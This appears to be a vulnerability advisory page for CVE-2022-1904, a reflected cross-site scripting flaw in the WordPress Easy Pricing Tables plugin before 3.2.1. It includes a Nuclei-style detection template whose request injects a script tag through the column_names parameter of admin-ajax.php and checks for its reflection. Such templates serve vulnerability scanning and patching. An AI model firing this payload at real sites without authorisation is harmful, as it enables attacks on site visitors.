CVE-2022-1904: WordPress Easy Pricing Tables <3.2.1 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: WordPress Easy Pricing Tables | POC: 已公开

漏洞描述

WordPress Easy Pricing Tables plugin before 3.2.1 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before reflecting it back in a page available to any user both authenticated and unauthenticated when a specific setting is enabled.

PoC代码[已公开]

id: CVE-2022-1904

info:
  name: WordPress Easy Pricing Tables <3.2.1 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress Easy Pricing Tables plugin before 3.2.1 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before reflecting it back in a page available to any user both authenticated and unauthenticated when a specific setting is enabled.
  impact: |
    Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts on the victim's browser.
  remediation: |
    Update to the latest version of WordPress Easy Pricing Tables plugin (3.2.1) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/92215d07-d129-49b4-a838-0de1a944c06b
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1904
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1904
    cwe-id: CWE-79
    epss-score: 0.02188
    epss-percentile: 0.83794
    cpe: cpe:2.3:a:fatcatapps:easy_pricing_tables:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fatcatapps
    product: easy_pricing_tables
    framework: wordpress
  tags: cve,cve2022,wp,wordpress,wpscan,wp-plugin,xss,fatcatapps

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=ptp_design4_color_columns&post_id=1&column_names=<script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script> - Color'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a764887b87c9e6bcc889b7a608645fb81cb899a3ef11d13179f035fb2640ad68022100dc7f22491b368a16acc40682558057c5fae371aac75ad95a8889305e72b33efb:922c64590222798bb761d5b6d8e72950